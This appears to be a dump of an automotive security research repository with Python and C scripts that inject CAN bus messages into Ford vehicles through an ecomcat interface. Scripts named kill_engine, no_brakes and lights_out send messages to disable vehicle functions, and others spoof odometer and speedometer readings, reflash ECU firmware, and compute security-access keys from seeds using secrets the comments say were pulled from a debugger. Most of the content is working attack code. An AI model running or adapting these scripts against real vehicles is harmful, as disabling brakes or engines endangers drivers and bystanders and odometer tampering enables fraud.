41 | "Request of out Range: There exists a parameter which is out of range",
42 | ],
43 | securityAccessDenied: [
44 | "SAD",
45 | "Security Access Denied: Either 1) Test conditions not met 2) invalid sequence (try DiagSession) 3) requires unlocking of server",
46 | ],
47 | invalidKey: ["IK", "Invalid Key"],
48 | exceedNumberOfAttempts: [
49 | "ENOA",
50 | "Exceeded Number of Security Access Attempts",
51 | ],
52 | requiredTimeDelayNotExpired: [
53 | "RTDNE",
54 | "Required Time Delay Not Expired: Client attempting to access security too quickly",
55 | ],
56 | uploadDownloadNotAccepted: ["UDNA", "Upload / Download Not Accepted"],
57 | generalProgrammingFailure: ["GPF", "General Programming Failure"],
58 | requestCorrectlyReceived_ResponsePending: [
59 | "RCRRP",
60 | "Request Correctly Received Response Pending: Wait for response",
61 | ],
62 | subFuncionNotSupportedInActiveSession: [
63 | "SFNSIAS",
64 | "Subfunction Not Supported in Active Session",
65 | ],
66 | serviceNotSupportedInActiveSession: [
67 | "SNSIAS",
68 | "Service Not Supported in Active Session",
69 | ],
70 | }
71 |
72 | def NegRespErrStr(err_code):
73 | if err_code in list(NegRespCode.keys()):
74 | return NegRespCode[err_code][1]
75 | else:
76 | return "Unknown Error %02X" % (err_code)
77 |
78 |
79 |
--------------------------------------------------------------------------------
/code/ecomcat_api/kill_engine.py.py:
--------------------------------------------------------------------------------
1 | from FordStuff import *
2 |
3 | def kill_engine(mydll, handle, time):
4 | y = pointer(SFFMessage())
5 | mydll.DbgLineToSFF("IDH: 07, IDL: E0, Len: 08, Data: 05 31 01 40 44 FF 00 00", y)
6 | mydll.write_message_cont(handle, y, time)
7 |
8 | # initalize
9 | mydll = CDLL('Debug\\ecomcat_api')
10 | # HS CAN
11 | handle = mydll.open_device(1,0)
12 |
13 | while True:
14 | kill_engine(mydll, handle, 1000)
15 |
16 | mydll.close_device(handle)
17 |
--------------------------------------------------------------------------------
/code/ecomcat_api/lights_flashing.py:
--------------------------------------------------------------------------------
1 | from FordStuff import *
2 |
3 | # initalize
4 | mydll = CDLL('Debug\\ecomcat_api')
5 |
6 | # MS CAN
7 | handle = mydll.open_device(3,0)
8 | wid = 0x726
9 | if do_diagnostic_session(mydll, handle, wid, "prog"):
10 | print("Started diagnostic session")
11 | time.sleep(1)
12 | do_security_access(mydll, handle, wid)
13 |
14 | if do_download(mydll, handle, wid, 0x0, '726_000000-again.firmware'):
15 | print(do_proprietary(mydll, handle, wid, 0xb2, [0x01]))
16 | # uncomment to fix lights
17 | #do_download(mydll, handle, wid, 0x7fc000, '726_007fc0-again.firmware')
18 | #send_data(mydll, handle, wid, [0x11,0x01])
19 |
20 | send_data(mydll, handle, wid, [0x10, 0x81])
21 |
22 | mydll.close_device(handle)
23 |
--------------------------------------------------------------------------------
/code/ecomcat_api/lights_out.py:
--------------------------------------------------------------------------------
1 | from FordStuff import *
2 |
3 | # initalize
4 | mydll = CDLL('Debug\\ecomcat_api')
5 |
6 | # MS CAN
7 | handle = mydll.open_device(3,0)
8 | wid = 0x726
9 |
10 | if do_diagnostic_session(mydll, handle, wid, "prog"):
11 | print("Started diagnostic session")
12 | time.sleep(1)
13 | do_security_access(mydll, handle, wid)
14 |
15 | while True:
16 | send_data(mydll, handle, wid, [0x7e, 0x80])
17 | time.sleep(.1)
18 |
19 | mydll.close_device(handle)
20 |
--------------------------------------------------------------------------------
/code/ecomcat_api/message-looper.py:
--------------------------------------------------------------------------------
1 | from PyEcom import *
2 | from config import *
3 | from ctypes import *
4 | import time, struct
5 |
6 | if __name__ == "__main__":
7 | ecom = PyEcom('Debug\\ecomcat_api')
8 | ecom.open_device(1,37440)
9 |
10 | LOOPER = 0
11 |
12 | f = open("input.dat", "r")
13 | sff_lines = f.readlines()
14 |
15 | num_of_sffs = len(sff_lines)
16 | SFFArray = SFFMessage * num_of_sffs
17 | sffs = SFFArray()
18 |
19 | for i in range(0, num_of_sffs):
20 | ecom.mydll.DbgLineToSFF(sff_lines[i], pointer(sffs[i]))
21 |
22 | print("Starting to send msgs")
23 | while(1):
24 | for i in range(0, num_of_sffs):
25 | curr = sffs[i]
26 |
27 | ## if LOOPER == 1:
28 | ## #if curr.IDH == 0x00 and curr.IDL == 0xB4:
29 | ## # curr.data[4] += 1 & 0xFF
30 | ## if curr.IDH == 0x02 and curr.IDL == 0xE4:
31 | ## curr.data[0] += 1 & 0xFF
32 | ## curr.data[0] |= 0x80
33 | ## if curr.IDH == 0x02 and curr.IDL == 0x83:
34 | ## curr.data[0] += 1 & 0x7F
35 | ##
36 | ## ecom.mydll.FixChecksum(pointer(curr))
37 |
38 | #ecom.mydll.PrintSFF(pointer(curr), 0)
39 | ecom.mydll.write_message(ecom.handle, pointer(curr))
40 |
--------------------------------------------------------------------------------
/code/ecomcat_api/nav_system.py:
--------------------------------------------------------------------------------
1 | from FordStuff import *
2 |
3 | # initalize
4 | mydll = CDLL('Debug\\ecomcat_api')
5 | # HS CAN
6 | handle = mydll.open_device(1,0)
7 |
8 | z = pointer(SFFMessage())
9 | read_by_wid = mydll.read_message_by_wid_with_timeout
10 | read_by_wid.restype = POINTER(SFFMessage)
11 | z = read_by_wid(handle, 0x217)
12 | mydll.PrintSFF(z,0)
13 | wheel = z.contents.data[0] << 8
14 | wheel += z.contents.data[1]
15 |
16 | print("%x" % wheel)
17 | yy = pointer(SFFMessage())
18 |
19 | while True:
20 | wheel += 0x1
21 | mydll.DbgLineToSFF("IDH: 02, IDL: 17, Len: 08, Data: %02x %02x %02x %02x 00 50 00 00 ,TS: 17342,BAUD: 205" % ((wheel & 0xff00) >> 8, wheel & 0xff, (wheel & 0xff00) >> 8, wheel & 0xff), yy)
22 | mydll.PrintSFF(yy,0)
23 | mydll.write_message(handle, yy)
24 |
--------------------------------------------------------------------------------
/code/ecomcat_api/no_brakes.py:
--------------------------------------------------------------------------------
1 | from FordStuff import *
2 |
3 | # initalize
4 | mydll = CDLL('Debug\\ecomcat_api')
5 | # HS CAN
6 | handle = mydll.open_device(1,0)
7 | wid = 0x760
8 |
9 | while True:
10 | if not len( do_proprietary(mydll, handle, wid, 0x2b, [0xff, 0xff])):
11 | do_diagnostic_session(mydll, handle, wid, "adj")
12 |
13 | mydll.close_device(handle)
14 |
--------------------------------------------------------------------------------
/code/ecomcat_api/odometer.py:
--------------------------------------------------------------------------------
1 | from FordStuff import *
2 |
3 | # initalize
4 | mydll = CDLL('Debug\\ecomcat_api')
5 | # HS CAN
6 | handle = mydll.open_device(1,0)
7 |
8 | z = pointer(SFFMessage())
9 | read_by_wid = mydll.read_message_by_wid_with_timeout
10 | read_by_wid.restype = POINTER(SFFMessage)
11 | z = read_by_wid(handle, 0x420)
12 | mydll.PrintSFF(z,0)
13 | odometer = z.contents.data[0] << 16
14 | odometer += z.contents.data[1] << 8
15 | odometer += z.contents.data[2]
16 |
17 | yy = pointer(SFFMessage())
18 |
19 | while True:
20 | odometer += 0x1000
21 | mydll.DbgLineToSFF("IDH: 04, IDL: 20, Len: 08, Data: %02x %02x %02x 00 00 00 02 00 ,TS: 17342,BAUD: 205" % ((odometer & 0xff0000) >> 16, (odometer & 0xff00) >> 8, odometer & 0xff), yy)
22 | mydll.PrintSFF(yy,0)
23 | mydll.write_message(handle, yy)
24 |
25 | mydll.close_device(handle)
26 |
--------------------------------------------------------------------------------
/code/ecomcat_api/pcm.py:
--------------------------------------------------------------------------------
1 | from ctypes import *
2 |
3 | mydll = CDLL('Debug\\ecomcat_api')
4 | #
5 |
6 | class SFFMessage(Structure):
7 | _fields_ = [("IDH", c_ubyte),
8 | ("IDL", c_ubyte),
9 | ("data", c_ubyte * 8),
10 | ("options", c_ubyte),
11 | ("DataLength", c_ubyte),
12 | ("TimeStamp", c_uint),
13 | ("baud", c_ubyte)]
14 |
15 |
16 | # initalize
17 | handle = mydll.open_device(1,0)
18 |
19 | def key_from_seed(seed):
20 |
21 | # print "Observed seed: "+seed
22 | #
23 | # This is the "secret" found in debugger
24 | #
25 | s1 = 0x08
26 | s2 = 0x30
27 | s3 = 0x61
28 | s4 = 0xa4
29 | s5 = 0xc5
30 |
31 | seed_int = (int(seed[0:2],16)<<16) + (int(seed[3:5],16)<<8) + (int(seed[6:8],16))
32 | or_ed_seed = ((seed_int & 0xFF0000) >> 16) | (seed_int & 0xFF00) | (s1 << 24) | (seed_int & 0xff) << 16
33 | mucked_value = 0xc541a9
34 |
35 | for i in range(0,32):
36 | a_bit = ((or_ed_seed >> i) & 1 ^ mucked_value & 1) << 23
37 | v9 = v10 = v8 = a_bit | (mucked_value >> 1);
38 | mucked_value = v10 & 0xEF6FD7 | ((((v9 & 0x100000) >> 20) ^ ((v8 & 0x800000) >> 23)) << 20) | (((((mucked_value >> 1) & 0x8000) >> 15) ^ ((v8 & 0x800000) >> 23)) << 15) | (((((mucked_value >> 1) & 0x1000) >> 12) ^ ((v8 & 0x800000) >> 23)) << 12) | 32 * ((((mucked_value >> 1) & 0x20) >> 5) ^ ((v8 & 0x800000) >> 23)) | 8 * ((((mucked_value >> 1) & 8) >> 3) ^ ((v8 & 0x800000) >> 23));
39 |
40 | for j in range(0,32):
41 | a_bit = ((((s5 << 24) | (s4 << 16) | s2 | (s3 << 8)) >> j) & 1 ^ mucked_value & 1) << 23;
42 | v14 = v13 = v12 = a_bit | (mucked_value >> 1);
43 | mucked_value = v14 & 0xEF6FD7 | ((((v13 & 0x100000) >> 20) ^ ((v12 & 0x800000) >> 23)) << 20) | (((((mucked_value >> 1) & 0x8000) >> 15) ^ ((v12 & 0x800000) >> 23)) << 15) | (((((mucked_value >> 1) & 0x1000) >> 12) ^ ((v12 & 0x800000) >> 23)) << 12) | 32 * ((((mucked_value >> 1) & 0x20) >> 5) ^ ((v12 & 0x800000) >> 23)) | 8 * ((((mucked_value >> 1) & 8) >> 3) ^ ((v12 & 0x800000) >> 23));
44 |
45 | key = ((mucked_value & 0xF0000) >> 16) | 16 * (mucked_value & 0xF) | ((((mucked_value & 0xF00000) >> 20) | ((mucked_value & 0xF000) >> 8)) << 8) | ((mucked_value & 0xFF0) >> 4 << 16);
46 |
47 | # print "Computed key: %x" % key
48 | return "%02X %02X %02X" % ( (key & 0xff0000) >> 16, (key & 0xff00) >> 8, key & 0xff)
49 |
50 |
51 | def send_to_e0(mydll, handle, line):
52 | yy = pointer(SFFMessage())
53 | mydll.DbgLineToSFF(f"IDH: 07, IDL: E0, Len: 08, Data: {line}", yy)
54 | mydll.PrintSFF(yy,0)
55 | mydll.write_message(handle, yy)
56 | read_by_wid = mydll.read_message_by_wid
57 | read_by_wid.restype = POINTER(SFFMessage)
58 | z = mydll.read_message_by_wid(handle, 0x7e8)
59 | mydll.PrintSFF(z,0)
60 | first_byte = z.contents.data[0]
61 | ret = ""
62 |
63 | if first_byte > 0x8:
64 | toread = ((first_byte & 0xf) << 8) + z.contents.data[1]
65 | toread -= 6
66 | ret = z.contents.data[2:]
67 | mydll.DbgLineToSFF("IDH: 07, IDL: E0, Len: 08, Data: 30 00 00 00 00 00 00 00", yy)
68 | mydll.PrintSFF(yy,0)
69 | mydll.write_message(handle, yy)
70 | while( toread > 0 ):
71 | z = mydll.read_message_by_wid(handle, 0x7e8)
72 | toread -= 7
73 | mydll.PrintSFF(z,0)
74 | ret += z.contents.data[1:]
75 | else:
76 | ret = z.contents.data[1:]
77 | return "".join("%02X " % x for x in ret)
78 |
79 |
80 | #raw_input("make sure car is in bootrom mode, use CarDaqPlusCat")
81 | send_to_e0(mydll, handle, "02 10 02 00 00 00 00 00")
82 | seed = send_to_e0(mydll, handle, "02 27 01 00 00 00 00 00")
83 | #print seed
84 | key = key_from_seed(seed[6:])
85 | send_to_e0(mydll, handle, f"05 27 02 {key} 00 00")
86 | #send_to_e0(mydll, handle, "07 23 14 00 0f 80 00 10")
87 | send_to_e0(mydll, handle, "07 23 14 00 01 00 C0 10")
88 |
89 | mydll.close_device(handle)
90 |
91 |
--------------------------------------------------------------------------------
/code/ecomcat_api/program_pam.py:
--------------------------------------------------------------------------------
1 | from FordStuff import *
2 |
3 | # initalize
4 | mydll = CDLL('Debug\\ecomcat_api')
5 | # HS CAN
6 | handle = mydll.open_device(1,0)
7 | wid = 0x736
8 |
9 | filename = 'try_send_can.bin'
10 |
11 | if do_diagnostic_session(mydll, handle, wid, "prog"):
12 | print("Started diagnostic session")
13 | time.sleep(1)
14 | do_security_access(mydll, handle, wid)
15 |
16 | try:
17 | with open(filename): pass
18 | except IOError:
19 | print('Need firmware file to upload')
20 | sys.exit(0)
21 |
22 | if do_download_compliant(mydll, handle, wid, 0x0, filename):
23 | do_routine(mydll, handle, wid, 0x0301, [0x00, 0x00, 0x30, 0x00])
24 |
25 | mydll.close_device(handle)
26 |
--------------------------------------------------------------------------------
/code/ecomcat_api/seatbelt-ecu.py:
--------------------------------------------------------------------------------
1 | from PyEcom import *
2 | from config import *
3 | from ctypes import *
4 | import time, struct
5 |
6 | if __name__ == "__main__":
7 | ecom = PyEcom('Debug\\ecomcat_api')
8 | ecom.open_device(1,37440)
9 | #ecom.open_device(1,0)
10 |
11 | ecom.send_iso_tp_data(0x781, [0x30, 0x01, 0x00, 0x01])
12 |
13 | time.sleep(3)
14 |
15 | ecom.send_iso_tp_data(0x781, [0x30, 0x01, 0x00, 0x02])
16 |
17 | #read one message (should contain payload of: 0x08)
18 | #sff = pointer(SFFMessage())
19 | #ecom.mydll.DbgLineToSFF("IDH: 03, IDL: 44, Len: 08, Data: FF 7F 00 00 00 08 00 D5", sff)
20 |
21 | #ret = ecom.send_iso_tp_data(0x781, [0x3E])
22 |
23 | #ecom.mydll.write_messages_from_file(ecom.handle, "input.dat")
24 | #ecom.send_iso_tp_data(0x781, [0x30, 0x01, 0x00, 0x01])
25 |
26 | #ret = ecom.mydll.read_message_by_wid(ecom.handle, 0x039C)
27 | #ecom.mydll.write_messages_from_file(ecom.handle, "car-startup-trim.dat")
28 |
29 | #ret = ecom.mydll.read_message_by_wid(ecom.handle, 0x039C)
30 | #ecom.mydll.write_messages_from_file(ecom.handle, "car-startup-trim.dat")
31 |
32 | #read the messages from the wire
33 | #i = 0
34 | #while(i < 10):
35 | # ret = ecom.mydll.read_message_by_wid(ecom.handle, 0x039C)
36 | # ecom.mydll.PrintSFF(ret,0)
37 | # i += 1
38 |
39 | #ecom.send_iso_tp_data(0x781, [0x30, 0x01, 0x00, 0x01])
40 | #ecom.send_iso_tp_data(0x781, [0x30, 0x01, 0x00, 0x02])
41 |
42 | # for j in range(0, 20):
43 | # ecom.mydll.write_message(ecom.handle, sff)
44 | # time.sleep(.05)
45 |
46 | #ret = ecom.mydll.read_message_by_wid(ecom.handle, 0x04D4)
47 | #ecom.mydll.PrintSFF(ret,0)
48 |
49 |
50 | #ecom.diagnostic_session(0x781, [0x10, 0x01])
51 | #ecom.send_iso_tp_data(0x781, [0x30, 0x01, 0x00, 0x01])
52 | # i += 1
53 |
--------------------------------------------------------------------------------
/code/ecomcat_api/seatbelt-writer.py:
--------------------------------------------------------------------------------
1 | from PyEcom import *
2 | from config import *
3 | from ctypes import *
4 | import time, struct
5 |
6 | if __name__ == "__main__":
7 | ecom = PyEcom('Debug\\ecomcat_api')
8 | ecom.open_device(1,37436)
9 |
10 | #f = open("can2-startup-min-drivers.dat", "r")
11 | f = open("can2-passenger.dat", "r")
12 | sff_lines = f.readlines()
13 |
14 | num_of_sffs = len(sff_lines)
15 | SFFArray = SFFMessage * num_of_sffs
16 | sffs = SFFArray()
17 |
18 | for i in range(0, num_of_sffs):
19 | ecom.mydll.DbgLineToSFF(sff_lines[i], pointer(sffs[i]))
20 |
21 | print("Starting to send msgs")
22 |
23 | #ecom.mydll.write_messages_from_file(ecom.handle, "input.dat")
24 | #ecom.send_iso_tp_data(0x781, [0x30, 0x01, 0x00, 0x01])
25 |
26 | while(1):
27 | ## for i in range(0, 30):
28 | ## ecom.mydll.write_message(ecom.handle, sff_0024_F9)
29 | ##
30 | ## for i in range(0, 4):
31 | ## ecom.mydll.write_message(ecom.handle, sff_0344)
32 | ##
33 | ## for i in range(0, 4):
34 | ## ecom.mydll.write_message(ecom.handle, sff_0024_F8)
35 |
36 | #ecom.mydll.write_message(ecom.handle, sff_0024)
37 | #ecom.mydll.write_message(ecom.handle, sff_0024)
38 | #ecom.mydll.write_message(ecom.handle, sff_0344)
39 | #time.sleep(.01)
40 |
41 | for i in range(0, num_of_sffs):
42 | ecom.mydll.write_message(ecom.handle, pointer(sffs[i]))
43 | #for j in range(0, 20):
44 | # #ecom.mydll.write_message(ecom.handle, sff)
45 | # ecom.mydll.write_messages_from_file(ecom.handle, "can2-startup-piece.dat")
46 | # #time.sleep(.05)
47 |
--------------------------------------------------------------------------------
/code/ecomcat_api/security.py:
--------------------------------------------------------------------------------
1 |
2 |
3 | #install_pcm
4 | #seed = "45 82 0A"
5 | #real_key = "3B 15 E1"
6 |
7 | #install_pcm_again
8 | #seed = "36 F0 F7"
9 | #real_key = "C9 4E C9"
10 |
11 | #sjb
12 | seed = "7A 6B 61"
13 | real_key = "96 11 73"
14 |
15 | print(f"Observed seed: {seed}")
16 | #
17 | # This is the "secret" found in debugger for PCM
18 | #
19 | #s1 = 0x08
20 | #s2 = 0x30
21 | #s3 = 0x61
22 | #s4 = 0xa4
23 | #s5 = 0xc5
24 |
25 | #
26 | # for SJB
27 | #
28 | s1 = 0x3f
29 | s2 = 0x9e
30 | s3 = 0x78
31 | s4 = 0xc5
32 | s5 = 0x96
33 |
34 | seed_int = (
35 | (int(seed[:2], 16) << 16)
36 | + (int(seed[3:5], 16) << 8)
37 | + (int(seed[6:8], 16))
38 | )
39 | #print "Seed: %x" % seed_int
40 |
41 | or_ed_seed = ((seed_int & 0xFF0000) >> 16) | (seed_int & 0xFF00) | (s1 << 24) | (seed_int & 0xff) << 16
42 | #print "or_ed_seed: %x\n" % or_ed_seed
43 |
44 | mucked_value = 0xc541a9
45 |
46 | for i in range(0,32):
47 | a_bit = ((or_ed_seed >> i) & 1 ^ mucked_value & 1) << 23
48 | v9 = v10 = v8 = a_bit | (mucked_value >> 1);
49 | mucked_value = v10 & 0xEF6FD7 | ((((v9 & 0x100000) >> 20) ^ ((v8 & 0x800000) >> 23)) << 20) | (((((mucked_value >> 1) & 0x8000) >> 15) ^ ((v8 & 0x800000) >> 23)) << 15) | (((((mucked_value >> 1) & 0x1000) >> 12) ^ ((v8 & 0x800000) >> 23)) << 12) | 32 * ((((mucked_value >> 1) & 0x20) >> 5) ^ ((v8 & 0x800000) >> 23)) | 8 * ((((mucked_value >> 1) & 8) >> 3) ^ ((v8 & 0x800000) >> 23));
50 | # print "mucked: %x" % (mucked_value)
51 |
52 | for j in range(0,32):
53 | v11 = ((((s5 << 24) | (s4 << 16) | s2 | (s3 << 8)) >> j) & 1 ^ mucked_value & 1) << 23;
54 | v12 = v11 | (mucked_value >> 1);
55 | v13 = v11 | (mucked_value >> 1);
56 | v14 = v11 | (mucked_value >> 1);
57 | mucked_value = v14 & 0xEF6FD7 | ((((v13 & 0x100000) >> 20) ^ ((v12 & 0x800000) >> 23)) << 20) | (((((mucked_value >> 1) & 0x8000) >> 15) ^ ((v12 & 0x800000) >> 23)) << 15) | (((((mucked_value >> 1) & 0x1000) >> 12) ^ ((v12 & 0x800000) >> 23)) << 12) | 32 * ((((mucked_value >> 1) & 0x20) >> 5) ^ ((v12 & 0x800000) >> 23)) | 8 * ((((mucked_value >> 1) & 8) >> 3) ^ ((v12 & 0x800000) >> 23));
58 |
59 | key = ((mucked_value & 0xF0000) >> 16) | 16 * (mucked_value & 0xF) | ((((mucked_value & 0xF00000) >> 20) | ((mucked_value & 0xF000) >> 8)) << 8) | ((mucked_value & 0xFF0) >> 4 << 16);
60 |
61 | print("Computed key: %x" % key)
62 | print(f"observed key: {real_key}")
63 |
--------------------------------------------------------------------------------
/code/ecomcat_api/speed_bad.dat:
--------------------------------------------------------------------------------
1 | IDH: 00, IDL: B4, Len: 08, Data: 00 00 00 00 00 FF FF BA
2 |
--------------------------------------------------------------------------------
/code/ecomcat_api/speedometer.py:
--------------------------------------------------------------------------------
1 | from FordStuff import *
2 | import sys
3 |
4 | if len(sys.argv) < 3:
5 | sys.exit(f'Usage: {sys.argv[0]} rpm mph')
6 |
7 | rpm = int(sys.argv[1])
8 | mph = int(sys.argv[2])
9 |
10 | can_mph = int( 154 * (mph + 67) )
11 | can_rpm = int( 4 * (rpm + 24) )
12 |
13 | # initalize
14 | mydll = CDLL('Debug\\ecomcat_api')
15 | # HS CAN
16 | handle = mydll.open_device(1,0)
17 |
18 | y = pointer(SFFMessage())
19 | mydll.DbgLineToSFF("IDH: 02, IDL: 01, Len: 08, Data: %02X %02X 00 00 %02X %02X 00 00" % ((can_rpm & 0xff00) >> 8, can_rpm & 0xff, (can_mph & 0xff00) >> 8, can_mph & 0xff), y)
20 |
21 | while True:
22 | mydll.write_message_cont(handle, y, 1000)
23 |
24 | mydll.close_device(handle)
25 |
--------------------------------------------------------------------------------
/code/ecomcat_api/terminal.py:
--------------------------------------------------------------------------------
1 | import sys
2 |
3 | while 1:
4 | sys.stdout.write("Enter CAN Data: ")
5 | line = sys.stdin.readline()
6 | line = line.strip()
7 |
8 | #Hit q to quit
9 | if line in ["q", "Q"]:
10 | break
11 |
12 | payload = [int(x, 16) for x in line.split(' ')]
13 | print("N) Normal A) AckData D) AckDataAck")
14 | sys.stdout.write("Enter Msg Type: ")
15 | msg_type = sys.stdin.readline()
16 | msg_type = msg_type.upper().strip()
17 |
18 | print(payload)
19 | print(msg_type)
20 |
--------------------------------------------------------------------------------
/code/ecomcat_api/test.py:
--------------------------------------------------------------------------------
1 | from ctypes import *
2 | import time
3 |
4 | mydll = CDLL('Debug\\ecomcat_api')
5 | #
6 |
7 | class SFFMessage(Structure):
8 | _fields_ = [("IDH", c_ubyte),
9 | ("IDL", c_ubyte),
10 | ("data", c_ubyte * 8),
11 | ("options", c_ubyte),
12 | ("DataLength", c_ubyte),
13 | ("TimeStamp", c_uint),
14 | ("baud", c_ubyte)]
15 |
16 |
17 | # initalize
18 |
19 | # HS CAN
20 | handle = mydll.open_device(1,37445)
21 | #handle = mydll.open_device(1,37442)
22 | # MS CAN
23 | #handle = mydll.open_device(3,0)
24 |
25 |
26 | #
27 | # Turn on video camera (must not be in park)
28 | #
29 | #y = pointer(SFFMessage())
30 | #mydll.DbgLineToSFF("IDH: 02, IDL: 30, Len: 08, Data: A1 00 00 00 00 00 5D 30", y)
31 | #mydll.write_message_cont(handle, y, 1000)
32 |
33 |
34 |
35 | #
36 | # Make the pam beep with sensor stuff
37 | #
38 | y = pointer(SFFMessage())
39 | mydll.DbgLineToSFF("IDH: 02, IDL: 30, Len: 08, Data: A1 00 00 00 00 00 3D 30", y)
40 | #mydll.write_message_cont(handle, y, 20000)
41 | #while True:
42 | # mydll.PrintSFF(y,0)
43 | # mydll.write_message(handle, y)
44 | # time.sleep(.01)
45 |
46 |
47 |
48 | # read and print message from device
49 | #z = mydll.read_message_by_wid(handle, 0x136)
50 | #z = mydll.read_message(handle)
51 | #mydll.PrintSFF(z,0)
52 |
53 |
54 |
55 | # define and fill some messaegs
56 | #x = SFFMessage()
57 | #x.IDH = 0x69
58 | #x.IDL = 0x41
59 |
60 |
61 | #mydll.DbgLineToSFF("IDH: 07, IDL: 60, Len: 08, Data: 02 10 81 00 00 00 00 00", y)
62 | #mydll.PrintSFF(y,0)
63 | #mydll.write_message(handle, y)
64 |
65 |
66 | # write single messages
67 | #mydll.write_message(0, byref(x))
68 | #mydll.write_message_cont(handle, y, 1000)
69 |
70 | # create an array of messages
71 | #SFFArray = SFFMessage * 10
72 | #sffs = SFFArray()
73 | #mydll.DbgLineToSFF("IDH: 01, IDL: 67, Len: 08, Data: 41 41 41 41 41 41 41 41", pointer(sffs[0]))
74 | #mydll.DbgLineToSFF("IDH: 01, IDL: 68, Len: 08, Data: 42 42 42 42 42 42 42 42", pointer(sffs[1]))
75 | #mydll.DbgLineToSFF("IDH: 01, IDL: 69, Len: 08, Data: 43 43 43 43 43 43 43 43", pointer(sffs[2]))
76 | #print sffs[2].IDL
77 |
78 | # write out some of the message stuffs
79 | #mydll.write_messages_cont(handle, pointer(pointer(sffs)), 1000)
80 |
81 |
82 | mydll.write_messages_from_file(handle, "long_reverse18.dat")
83 |
84 | mydll.close_device(handle)
85 | #mydll.PrintSFF(y, 0)
86 |
87 | #print "%x" % x.IDH
88 | #print "%x" % y.contents.IDL
89 | #print "%x" % sffs[0].IDL
90 |
--------------------------------------------------------------------------------
/code/ecomcat_api/test_api/ReadMe.txt:
--------------------------------------------------------------------------------
1 | ========================================================================
2 | CONSOLE APPLICATION : test_api Project Overview
3 | ========================================================================
4 |
5 | AppWizard has created this test_api application for you.
6 |
7 | This file contains a summary of what you will find in each of the files that
8 | make up your test_api application.
9 |
10 |
11 | test_api.vcxproj
12 | This is the main project file for VC++ projects generated using an Application Wizard.
13 | It contains information about the version of Visual C++ that generated the file, and
14 | information about the platforms, configurations, and project features selected with the
15 | Application Wizard.
16 |
17 | test_api.vcxproj.filters
18 | This is the filters file for VC++ projects generated using an Application Wizard.
19 | It contains information about the association between the files in your project
20 | and the filters. This association is used in the IDE to show grouping of files with
21 | similar extensions under a specific node (for e.g. ".cpp" files are associated with the
22 | "Source Files" filter).
23 |
24 | test_api.cpp
25 | This is the main application source file.
26 |
27 | /////////////////////////////////////////////////////////////////////////////
28 | Other standard files:
29 |
30 | StdAfx.h, StdAfx.cpp
31 | These files are used to build a precompiled header (PCH) file
32 | named test_api.pch and a precompiled types file named StdAfx.obj.
33 |
34 | /////////////////////////////////////////////////////////////////////////////
35 | Other notes:
36 |
37 | AppWizard uses "TODO:" comments to indicate parts of the source code you
38 | should add to or customize.
39 |
40 | /////////////////////////////////////////////////////////////////////////////
41 |
--------------------------------------------------------------------------------
/code/ecomcat_api/test_api/stdafx.cpp:
--------------------------------------------------------------------------------
1 | // stdafx.cpp : source file that includes just the standard includes
2 | // test_api.pch will be the pre-compiled header
3 | // stdafx.obj will contain the pre-compiled type information
4 |
5 | #include "stdafx.h"
6 |
7 | // TODO: reference any additional headers you need in STDAFX.H
8 | // and not in this file
9 |
--------------------------------------------------------------------------------
/code/ecomcat_api/test_api/stdafx.h:
--------------------------------------------------------------------------------
1 | // stdafx.h : include file for standard system include files,
2 | // or project specific include files that are used frequently, but
3 | // are changed infrequently
4 | //
5 |
6 | #pragma once
7 |
8 | #include "targetver.h"
9 |
10 | #include
11 | #include
12 |
13 |
14 |
15 | // TODO: reference additional headers your program requires here
16 |
--------------------------------------------------------------------------------
/code/ecomcat_api/test_api/targetver.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | // Including SDKDDKVer.h defines the highest available Windows platform.
4 |
5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
7 |
8 | #include
9 |
--------------------------------------------------------------------------------
/code/ecomcat_api/test_api/test_api.c:
--------------------------------------------------------------------------------
1 | // test_api.cpp : Defines the entry point for the console application.
2 | //
3 |
4 | #include "stdafx.h"
5 | #include "..\ecomcat_api\api_file.h"
6 |
7 | int _tmain(int argc, _TCHAR* argv[])
8 | {
9 | HANDLE h = open_device(CAN_BAUD_500K,0);
10 | SFFMessage *msg = NULL;
11 | int num_network = 0;
12 |
13 | while(1)
14 | {
15 | num_network = GetQueueSize(h, CAN_GET_SFF_SIZE);
16 | printf("%d\n", num_network);
17 | msg = read_message(h);
18 | }
19 |
20 | // SFFMessage sff[4];
21 | // SFFMessage *cur = sff;
22 | //
23 | // memset(sff, 0, 4 * sizeof(SFFMessage));
24 | //
25 | // DbgLineToSFF("IDH: 01, IDL: 67, Len: 08, Data: 00 60 00 00 00 00 00 69", cur++);
26 | // DbgLineToSFF("IDH: 01, IDL: 68, Len: 08, Data: 00 60 00 00 00 00 00 00", cur++);
27 | // DbgLineToSFF("IDH: 01, IDL: 69, Len: 08, Data: 41 41 41 41 41 41 41 41", cur++);
28 | //
29 | // cur = sff;
30 | //// write_messages(h, &cur);
31 | //// PrintSFF(&sff[2], NULL);
32 | // cur = read_message(h);
33 | //// cur = read_message_by_wid(h, 0x80);
34 | // PrintSFF(cur, NULL);
35 | //
36 | //// write_message(h, cur);
37 | //// write_messages_from_file(h, "..\\test.dat");
38 | //
39 | // close_device(h);
40 |
41 | return 0;
42 | }
43 |
44 |
--------------------------------------------------------------------------------
/code/ecomcat_api/test_api/test_api.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 |
14 | {E76CDB5C-F3D9-48A0-9972-0C1CEEBA7D02}
15 | Win32Proj
16 | test_api
17 |
18 |
19 |
20 | Application
21 | true
22 | Unicode
23 |
24 |
25 | Application
26 | false
27 | true
28 | Unicode
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 | true
42 |
43 |
44 | false
45 |
46 |
47 |
48 |
49 |
50 | Level3
51 | Disabled
52 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
53 |
54 |
55 | Console
56 | true
57 | ecommlib.lib;ecomcat_api.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)
58 | ../Debug;../ecomcat_api
59 |
60 |
61 |
62 |
63 | Level3
64 |
65 |
66 | MaxSpeed
67 | true
68 | true
69 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
70 |
71 |
72 | Console
73 | true
74 | true
75 | true
76 |
77 |
78 |
